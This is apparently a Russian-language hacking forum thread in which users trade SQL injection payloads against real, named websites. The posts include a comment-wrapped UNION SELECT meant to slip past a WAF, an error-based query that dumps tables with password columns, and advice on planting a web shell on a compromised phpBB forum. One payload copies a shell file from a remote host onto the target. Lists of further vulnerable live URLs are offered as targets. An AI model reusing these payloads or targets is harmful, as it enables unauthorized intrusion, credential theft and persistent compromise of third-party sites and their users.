напримепь есть саыт xxx.com/news.php?id=2

кояда зделаеш ххх.com/news.php?id=2

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'tw'' at line 1

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/twt/public_html/cp/lib/db.php on line 28


а кояда ххх.com/news.php?id=2+union+select+0

Forbidden

You don't have permission to access /browse.php on this server.

что зделать ?

ххх.com/news.php?id=2/*!+union+select+0*/
попробовать, это объод WAF

http://oragir.am/news.php?id=13/*!+union+select+0*/

ребят есть форум phpbb,сделал рестор базы из txt файла,но не могу загрузить шелл так как
cmd=eval(file_get_contents( выдает error

allow_url_fopen = on
allow_url_include= off

команды bash нормально работают,

на сервере есть phpmyadmin,попробовал найти конфиг скрипты MySQL чтобы попасть в панель phpmyadmin,но ниче не нашел.

есть идеи?

Конечно. Помимо file_get_contents в пхп еще много функций, от мув_аплоадед_файл() до system(), etc.

Хелп! ...если это вообще возможно...
есть скуля:
/?id='')or+(select+count(*)+from+information_schema .tables+group+by+concat((select+(concat(table_sche ma,':',table_name))+from+information_schema.column s+where+column_name+like+'%pass%'+limit+0,1),floor (rand(0)*2)))+--+

имеем Duplicate entry 'a1323:tbladmin1' for key 1

база a1323, табла tbladmin

а тут:

/?id='')UNION+SELECT*from+(SELECT+*+FROM+tbladmin+J OIN+tbladmin+b)a+--+

выводит такую ошибку
Table 'a1323.TBLADMIN' doesn't exist

дело в том, что там id переводится в апперкейс.
возможно ли как-то с этим бороться? хексы, чары и прочие известные мне приблуды в FROM не годятся. значит должны быть НЕизвестные...
а? что скажете, господа

cmd=copy($_GET[aa],$_GET[bb]);&aa=http://you_site.ru/shell.txt&bb=путь куда заливать шелл

не смог =(...
http://www.sun-e-shop.co.za/?Task=CompanyInfo&CategoryID=3777

там походу нет инъекции.

у меня тут тоже пару подсобралось
http://www.colorlines.com/article.php?ID=681'
http://thetvdb.com/index.php?tab=series&id=79771'
http://www.worstpreviews.com/headline.php?id=15683

не получилось раскрутить